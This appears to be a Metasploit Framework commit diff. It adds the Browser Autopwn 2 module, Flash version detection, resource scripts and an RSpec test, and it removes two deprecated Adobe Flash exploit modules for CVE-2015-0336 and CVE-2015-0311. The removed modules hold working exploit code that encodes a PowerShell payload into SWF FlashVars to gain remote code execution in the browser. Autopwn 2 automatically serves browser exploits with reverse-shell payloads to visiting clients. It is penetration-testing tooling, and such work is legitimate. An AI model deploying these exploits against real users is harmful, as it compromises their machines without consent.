profile[k] =~ v
else
profile[k] == v
@ -200,7 +217,7 @@ module Msf
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
ax.to_s.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
@ -216,82 +233,28 @@ module Msf
# @return [Array] An array of requirements not met
def get_bad_requirements(profile)
bad_reqs = []
@requirements.each do |k, v|
@requirements.each do |rk, v|
k = rk.to_sym
expected = k != :vuln_test ? v : 'true'
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}")
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
bad_reqs << k if has_bad_activex?(profile[k])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
bad_reqs << k unless profile[k].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
bad_reqs << k if profile[k] !~ v
elsif v.is_a? Proc
bad_reqs << k unless v.call(profile[k.to_sym])
bad_reqs << k unless v.call(profile[k])
else
bad_reqs << k if profile[k.to_sym] != v
bad_reqs << k if profile[k] != v
end
end
bad_reqs
end
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' =>
# {
# :os_name => 'Windows 7'
# ...... etc ......
# }
# A profile should at least have info about the following:
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
# should be more accurate in some scenarios like browser compatibility mode
# :ua_name : The name of the browser
# :ua_ver : The version of the browser (not yet implemented)
# :os_name : The name of the OS ("Windows XP")
# :language : The system's language
# :arch : The system's arch
# :proxy : Indicates whether proxy is used
#
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version
# 'silverlight' : The Silverlight version
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
# Initializes a profile, if it did not previously exist
#
# @param tag [String] A unique string as a way to ID the profile
def init_profile(tag)
sync do
@target_profiles[tag] ||= {}
end
end
# Retrieves a tag.
@ -325,17 +288,25 @@ module Msf
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request)
init_profile(tag)
target_info = get_profile(tag)
update_profile(target_info, :source, source.to_s)
browser_profile[tag] ||= {}
profile = browser_profile[tag]
profile[:source] = source.to_s
found_ua_name = ''
found_ua_ver = ''
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
vprint_status("Received sniffed browser data over POST:")
vprint_line("#{parsed_body}.")
parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) }
found_ua_name = parsed_body['ua_name']
found_ua_ver = parsed_body['ua_ver']
when :headers
# Gathers target data from headers
# This may be less accurate, and most likely less info.
@ -344,19 +315,26 @@ module Msf
# Kill this to save space.
fp.delete(:ua_string)
fp.each do |k, v|
update_profile(target_info, k.to_sym, v)
profile[k.to_sym] = v
end
found_ua_name = fp[:ua_name]
found_ua_ver = fp[:ua_ver]
end
# Other detections
update_profile(target_info, :proxy, has_proxy?(request))
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
profile[:proxy] = has_proxy?(request)
profile[:language] = request.headers['Accept-Language'] || ''
# Basic tracking
profile[:address] = cli.peerhost
profile[:module] = self.fullname
profile[:created_at] = Time.now
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'],
:ua_name => target_info[:ua_name],
:ua_ver => target_info[:ua_ver]
:ua_string => request.headers['User-Agent'].to_s,
:ua_name => found_ua_name.to_s,
:ua_ver => found_ua_ver.to_s
})
end
@ -395,6 +373,57 @@ module Msf
return Base64.encode(q.join('&'));
}
function isEmpty(str) {
return (!str \|\| 0 === str.length);
}
function sendInfo(info) {
var query = objToQuery(info);
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
window.location="<%= get_module_resource %>";
});
}
var flashVersion = "";
var doInterval = true;
var maxTimeout = null;
var intervalTimeout = null;
function setFlashVersion(ver) {
flashVersion = ver
if (maxTimeout != null) {
clearTimeout(maxTimeout);
maxTimeout = null
}
doInterval = false
return;
}
function createFlashObject(src, attributes, parameters) {
var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {};
attr.type = 'application/x-shockwave-flash';
if (window.ActiveXObject) {
attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
param.movie = src;
} else {
attr.data = src;
}
html = '<object';
for (i in attr) {
html += ' ' + i + '="' + attr[i] + '"';
}
html += '>';
for (i in param) {
html += '<param name="' + i + '" value="' + param[i] + '" />';
}
html += '</object>';
div = document.createElement('div');
div.innerHTML = html;
obj = div.firstChild;
div.removeChild(obj);
return obj;
}
window.onload = function() {
var osInfo = os_detect.getVersion();
@ -432,10 +461,36 @@ module Msf
<% end %>
<% end %>
var query = objToQuery(d);
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
window.location="<%= get_module_resource %>";
});
if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) {
var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});
// After 5s stop waiting and use the version retrieved with JS if there isn't anything
maxTimeout = setTimeout(function() {
if (intervalTimeout != null) {
doInterval = false
clearInterval(intervalTimeout)
}
if (!isEmpty(flashVersion)) {
d["flash"] = flashVersion
}
sendInfo(d);
}, 5000);
// Check if there is a new flash version every 100ms
intervalTimeout = setInterval(function() {
if (!doInterval) {
clearInterval(intervalTimeout);
if (!isEmpty(flashVersion)) {
d["flash"] = flashVersion
}
sendInfo(d);
}
}, 100);
document.body.appendChild(flashObject)
} else {
sendInfo(d)
}
}
|).result(binding())
@ -453,11 +508,12 @@ module Msf
|
end
# @return [String] name of the tracking cookie
# @return [String] Name of the tracking cookie
def cookie_name
datastore['CookieName'] || DEFAULT_COOKIE_NAME
end
# @return [String] HTTP header string for the tracking cookie
def cookie_header(tag)
cookie = "#{cookie_name}=#{tag};"
if datastore['CookieExpiration'].present?
@ -468,6 +524,13 @@ module Msf
cookie
end
def load_swf_detection
path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
# Handles exploit stages.
#
@ -479,7 +542,7 @@ module Msf
#
# This is the information gathering stage
#
if get_profile(retrieve_tag(cli, request))
if browser_profile[retrieve_tag(cli, request)]
send_redirect(cli, get_module_resource)
return
end
@ -487,11 +550,15 @@ module Msf
print_status("Gathering target information.")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
ua = request.headers['User-Agent'] || ''
init_profile(tag)
print_status("Sending HTML response.")
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})
when /#{@flash_swf}/
vprint_status("Sending SWF used for Flash detection")
swf = load_swf_detection
send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
@ -515,7 +582,7 @@ module Msf
#
tag = retrieve_tag(cli, request)
vprint_status("Serving exploit to user with tag #{tag}")
profile = get_profile(tag)
profile = browser_profile[tag]
if profile.nil?
print_status("Browsing directly to the exploit URL is forbidden.")
send_not_found(cli)
@ -523,13 +590,14 @@ module Msf
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
update_profile(profile, :tried, true)
profile[:tried] = true
vprint_status("Setting target \"#{tag}\" to :tried.")
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
browser_info = profile.dup
begin
method(:on_request_exploit).call(cli, request, profile)
method(:on_request_exploit).call(cli, request, browser_info)
rescue BESException => e
elog("BESException: #{e.message}\n#{e.backtrace * "\n"}")
send_not_found(cli)
@ -597,9 +665,10 @@ module Msf
platform = platform.gsub(/^Windows.*$/, 'Windows')
p = regenerate_payload(cli, platform, arch)
target_arch = get_target.arch || arch
unless p.arch.include?(arch)
err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. "
unless p.arch.all? { |e| target_arch.include?(e) }
err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). "
err << "Please check your payload setting."
raise BESException, err
end

View File

@ -0,0 +1,25 @@
module Msf
module Exploit::Remote::BrowserProfileManager
# @overload browser_profile_prefix
# Sets the profile prefix to retrieve or load target information.
def browser_profile_prefix
raise NoMethodError, "A mixin that's using BrowserProfileManager should define browser_profile_prefix"
end
# Storage backend for browser profiles
#
# @return [Hash]
def browser_profile
framework.browser_profiles[browser_profile_prefix] ||= {}
framework.browser_profiles[browser_profile_prefix]
end
# Storage backend for browser profiles
#
def clear_browser_profiles
framework.browser_profiles.delete(browser_profile_prefix)
end
end
end

View File

@ -87,6 +87,7 @@ class Framework
self.jobs = Rex::JobContainer.new
self.plugins = PluginManager.new(self)
self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json"))
self.browser_profiles = Hash.new
# Configure the thread factory
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
@ -189,6 +190,12 @@ class Framework
# into generated payloads.
#
attr_reader :uuid_db
#
# The framework instance's browser profile store. These profiles are
# generated by client-side modules and need to be shared across
# different contexts.
#
attr_reader :browser_profiles
# The framework instance's db manager. The db manager
# maintains the database db and handles db events
@ -246,6 +253,7 @@ protected
attr_writer :plugins # :nodoc:
attr_writer :db # :nodoc:
attr_writer :uuid_db # :nodoc:
attr_writer :browser_profiles # :nodoc:
end
class FrameworkEventSubscriber

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::BrowserAutopwn2
def initialize(info={})
super(update_info(info,
'Name' => "HTTP Client Automatic Exploiter 2 (Browser Autopwn)",
'Description' => %q{
This module will automatically serve browser exploits. Here are the options you can
configure:
The Include option allows you to specify the kind of exploits to be loaded. For example,
if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'.
The Exclude option will ignore exploits. For example, if you don't want any Adobe Flash
exploits, you can set this. Also note that the Exclude option will always be evaludated
after the Include option.
The MaxExploits option specifies the max number of exploits to load by Browser Autopwn.
By default, 20 will be loaded. But note that the client will probably not be vulnerable
to all 20 of them, so only some will actually be served to the client.
The Content option allows you to provide a basic webpage. This is what the user behind
the vulnerable browser will see. You can simply set a string, or you can do the file://
syntax to load an HTML file. Note this option might break exploits so try to keep it
as simple as possible.
The WhiteList option can be used to avoid visitors that are outside the scope of your
pentest engagement. IPs that are not on the list will not be attacked.
The MaxSessions option is used to limit how many sessions Browser Autopwn is allowed to
get. The default -1 means unlimited. Combining this with other options such as RealList
and Custom404, you can get information about which visitors (IPs) clicked on your malicious
link, what exploits they might be vulnerable to, redirect them to your own internal
training website without actually attacking them.
The RealList is an option that will list what exploits the client might be vulnerable to
based on basic browser information. If possible, you can run the exploits for validation.
For more information about Browser Autopwn, please see the reference link.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'DisclosureDate' => "Jul 5 2015",
'References' =>
[
[ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ]
],
'Actions' =>
[
[ 'WebServer', {
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
} ],
],
'PassiveActions' =>
[ 'WebServer' ],
'DefaultOptions' => {
# We know that most of these exploits will crash the browser, so
# set the default to run migrate right away if possible.
"InitialAutoRunScript" => "migrate -f",
},
'DefaultAction' => 'WebServer'))
register_advanced_options(get_advanced_options, self.class)
register_options(
[
OptRegexp.new('INCLUDE_PATTERN', [false, 'Pattern search to include specific modules']),
OptRegexp.new('EXCLUDE_PATTERN', [false, 'Pattern search to exclude specific modules'])
], self.class)
register_advanced_options([
OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]),
OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 21]),
OptString.new('HTMLContent', [false, 'HTML Content', '']),
OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]),
OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]),
OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false])
] ,self.class)
end
def get_advanced_options
opts = []
DEFAULT_PAYLOADS.each_pair do |platform, payload_info|
opts << OptString.new("PAYLOAD_#{platform.to_s.upcase}", [true, "Payload for #{platform} browser exploits", payload_info[:payload] ])
opts << OptInt.new("PAYLOAD_#{platform.to_s.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info[:lport]])
end
opts
end
def on_request_exploit(cli, request, target_info)
serve = build_html(cli, request)
send_exploit_html(cli, serve)
end
def run
exploit
end
end

View File

@ -1,121 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion')
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
'Description' => %q{
This module exploits a type confusion vulnerability in the NetConnection class on
Adobe Flash Player. When using a correct memory layout this vulnerability allows
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
vectors, and finally accomplish remote code execution. This module has been tested
successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0336'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@trigger = create_trigger
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
trigger_hex_stream = @trigger.unpack('H*')[0]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_trigger
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -1,110 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
'Description' => %q{
This module exploits an use after free vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
to uncompress() a malformed byte stream. This module has been tested successfully
on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and
16.0.0.235.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0311'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 28 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -0,0 +1,6 @@
<ruby>
run_single("use auxiliary/server/browser_autopwn2")
run_single("set ShowExploitList true")
run_single("set VERBOSE true")
run_single("run")
</ruby>

View File

@ -0,0 +1,16 @@
<ruby>
print_status("Starting BAP...")
print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.")
print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.")
run_single("use auxiliary/server/browser_autopwn2")
run_single("set ShowExploitList true")
run_single("set MaxSessionCount 0")
# Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website
# For example (why don't you try this? :-) )
run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ")
# run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"")
run_single("run")
</ruby>

View File

@ -0,0 +1,8 @@
<ruby>
print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.")
print_status("Older Firefox exploits don't use BES, therefore will not be loaded.")
run_single("use auxiliary/server/browser_autopwn2")
run_single("set INCLUDE_PATTERN (mozilla_firefox|firefox)_")
run_single("set ShowExploitList true")
run_single("run")
</ruby>

View File

@ -0,0 +1,8 @@
<ruby>
print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.")
print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.")
run_single("use auxiliary/server/browser_autopwn2")
run_single("set INCLUDE_PATTERN adobe_flash")
run_single("set ShowExploitList true")
run_single("run")
</ruby>

View File

@ -0,0 +1,8 @@
<ruby>
print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.")
print_status("Older IE exploits don't use BES, therefore will not be loaded.")
run_single("use auxiliary/server/browser_autopwn2")
run_single("set INCLUDE_PATTERN (ms\\\\d\\\\d_\\\\d+|ie)_")
run_single("set ShowExploitList true")
run_single("run")
</ruby>

View File

@ -0,0 +1,844 @@
require 'msf/core'
describe Msf::Exploit::Remote::BrowserAutopwn2 do
#
# Recreate the environment (framework, mixins, etc)
#
def mock_note_destroy
# The destroy method doesn't pass the note as an argument startlike framework.jobs_stop_job.
# So here's I'm just gonna clear them all, and that sort of mimics #destroy.
framework = double('Msf::Framework', datastore: {})
# This empties it
notes = []
db = double('db1')
allow(db).to receive(:notes).and_return(notes)
allow(framework).to receive(:db).and_return(db)
allow(subject).to receive(:framework).and_return(framework)
end
def mock_report_note(arg)
framework = double('Msf::Framework', datastore: {})
notes = [create_fake_note('bap.clicks')]
db = double('db2')
allow(db).to receive(:notes).and_return(notes)
allow(framework).to receive(:db).and_return(db)
allow(subject).to receive(:framework).and_return(framework)
end
def create_fake_note(tag, data='')
note = double('note3')
allow(note).to receive(:ntype).and_return(tag)
allow(note).to receive(:data).and_return(data)
allow(note).to receive(:destroy) { mock_note_destroy }
note
end
def mock_stop_job(arg)
framework = double('Msf::Framework', datastore: {})
jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s}
allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) }
allow(framework).to receive(:jobs).and_return(jobs)
allow(subject).to receive(:framework).and_return(framework)
end
def create_fake_job(id)
ctx = double('ctx')
handler = create_fake_windows_meterpreter
allow(ctx).to receive(:first).and_return(handler)
job = [id.to_s, double('job')]
allow(job).to receive(:ctx).and_return(ctx)
job
end
def create_fake_exploit(opts={})
full_name = opts[:full_name]
short_name = opts[:short_name]
rank = opts[:rank] || 400
disclosure_date = opts[:disclosure_date] || 'Dec 21 2014'
compat_payloads = opts[:compat_payloads] || []
datastore_options = opts[:datastore_options] || {}
job_id = opts[:job_id] || 0
requirements = opts[:requirements] || {}
workspace = opts[:workspace] || 'default'
mod = Msf::Exploit.new
mod.extend(Msf::Exploit::Remote::BrowserExploitServer)
allow(mod).to receive(:fullname).and_return(full_name)
allow(mod).to receive(:rank).and_return(rank)
allow(mod).to receive(:disclosure_date).and_return(disclosure_date)
allow(mod).to receive(:compatible_payloads).and_return(compat_payloads)
allow(mod).to receive(:datastore).and_return(datastore_options)
allow(mod).to receive(:job_id).and_return(job_id)
allow(mod).to receive(:workspace).and_return(workspace)
allow(mod).to receive(:exploit_simple)
allow(mod).to receive(:vprint_status)
allow(mod).to receive(:shortname).and_return(short_name)
mod.instance_variable_set(:@requirements, requirements)
mod
end
def create_fake_multi_handler
compat_payloads = [
[windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter]
]
create_fake_exploit(
full_name: 'multi/handler',
short_name: 'multi/handler',
compat_payloads: compat_payloads,
job_id: 0,
)
end
def create_fake_ms14_064
compat_payloads = [
[windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter]
]
create_fake_exploit(
full_name: 'windows/browser/ms14_064_ole_code_execution',
short_name: 'ms14_064_ole_code_execution',
rank: 600,
disclosure_date: 'Nov 13 2014',
compat_payloads: compat_payloads,
datastore_options: {'URIPATH'=>'/ms14_64'},
job_id: 0,
requirements: {os_name: windows_81_regex}
)
end
def create_fake_flash_net_connection_confusion
compat_payloads = [
[windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter],
[linux_meterpreter_reverse_tcp, create_fake_linux_meterpreter]
]
create_fake_exploit(
full_name: 'multi/browser/adobe_flash_net_connection_confusion',
short_name: 'adobe_flash_net_connection_confusion',
rank: 500,
disclosure_date: 'Mar 12 2015',
compat_payloads: compat_payloads,
datastore_options: {'URIPATH'=>'/flash1'},
job_id: 1,
requirements: {os_name: lambda { |ver| ver == '16.0.0.305' }}
)
end
def create_fake_flash_uncompress_zlib_uaf
compat_payloads = [windows_meterpreter_reverse_tcp, linux_meterpreter_reverse_tcp]
create_fake_exploit(
full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf',
short_name: 'adobe_flash_uncompress_zlib_uaf',
rank: 500,
disclosure_date: 'Apr 28 2014',
compat_payloads: compat_payloads,
datastore_options: {'URIPATH'=>'/flash2'},
job_id: 2,
requirements: {os_name: lambda { |ver| ver == '16.0.0.287' }}
)
end
def create_fake_payload(opts={})
platforms = opts[:platforms]
archs = opts[:archs]
datastores = opts[:datastore_options]
fullname = opts[:fullname]
shortname = opts[:shortname]
workspace = opts[:workspace] || 'default'
p = Msf::Payload.new
platforms.each do |platform|
p.platform.platforms << platform
end
archs.each do |arch|
p.arch << arch
end
datastores.each_pair do |key, value|
p.datastore[key] = value
end
datastores['WORKSPACE'] = workspace
allow(p).to receive(:fullname).and_return(fullname)
allow(p).to receive(:shoftname).and_return(shortname)
allow(p).to receive(:workspace).and_return(workspace)
allow(p).to receive(:exploit_simple)
p
end
def create_fake_windows_meterpreter
create_fake_payload(
platforms: [Msf::Module::Platform::Windows],
archs: ['x86'],
datastore_options: {'LPORT'=>'4444'},
fullname: windows_meterpreter_reverse_tcp,
shortname: 'reverse_tcp'
)
end
def create_fake_linux_meterpreter
create_fake_payload(
platforms: [Msf::Module::Platform::Linux],
archs: ['x86'],
datastore_options: {'LPORT'=>'4445'},
fullname: linux_meterpreter_reverse_tcp,
shortname: 'reverse_tcp'
)
end
def mock_payload_create(full_name)
full_name.gsub!(/^firefox/, 'generic')
available_payloads.each do |p|
return p if p.fullname == full_name
end
nil
end
def mock_exploit_create(full_name)
available_exploits.each do |x|
return x if x.fullname == full_name
end
nil
end
let(:windows_meterpreter_reverse_tcp) do
'windows/meterpreter/reverse_tcp'
end
let(:linux_meterpreter_reverse_tcp) do
'linux/x86/meterpreter/reverse_tcp'
end
let(:windows_81_regex) do
/^(?:Microsoft )?Windows 8\.1/
end
let(:job_ids) do
ids = []
subject.framework.jobs.each do |job|
ids << job.first.to_i
end
ids
end
let(:available_exploits) do
@exploits ||= lambda {
exploits = []
exploits << create_fake_ms14_064
exploits << create_fake_flash_uncompress_zlib_uaf
exploits << create_fake_flash_net_connection_confusion
exploits << create_fake_multi_handler
exploits
}.call
end
let(:available_payloads) do
@payloads ||= lambda {
payloads = []
payloads << create_fake_windows_meterpreter
payloads << create_fake_linux_meterpreter
payloads
}.call
end
let(:fake_exploit_hash) do
exploits = {}
available_exploits.each do |x|
exploits[x.fullname.to_s] = '__SYMBOLIC__'
end
exploits
end
let(:autopwn_datastore_options) do
{
'SRVHOST' => '0.0.0.0',
'SRVPORT' => 8080,
'MaxExploits' => 20,
'LHOST' => '127.0.0.1',
'SSL' => false,
'MaxSessions' => -1,
'Custom404' => 'http://example.com',
'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp',
'PAYLOAD_FIREFOX' => 'firefox/shell_reverse_tcp',
'PAYLOAD_GENERIC' => 'generic/shell_reverse_tcp',
'PAYLOAD_JAVA' => 'java/meterpreter/reverse_tcp',
'PAYLOAD_LINUX' => 'linux/x86/meterpreter/reverse_tcp',
'PAYLOAD_OSX' => 'osx/x86/shell_reverse_tcp',
'PAYLOAD_UNIX' => 'cmd/unix/reverse',
'PAYLOAD_WIN' => 'windows/meterpreter/reverse_tcp',
'PAYLOAD_ANDROID_LPORT' => 4443,
'PAYLOAD_FIREFOX_LPORT' => 4442,
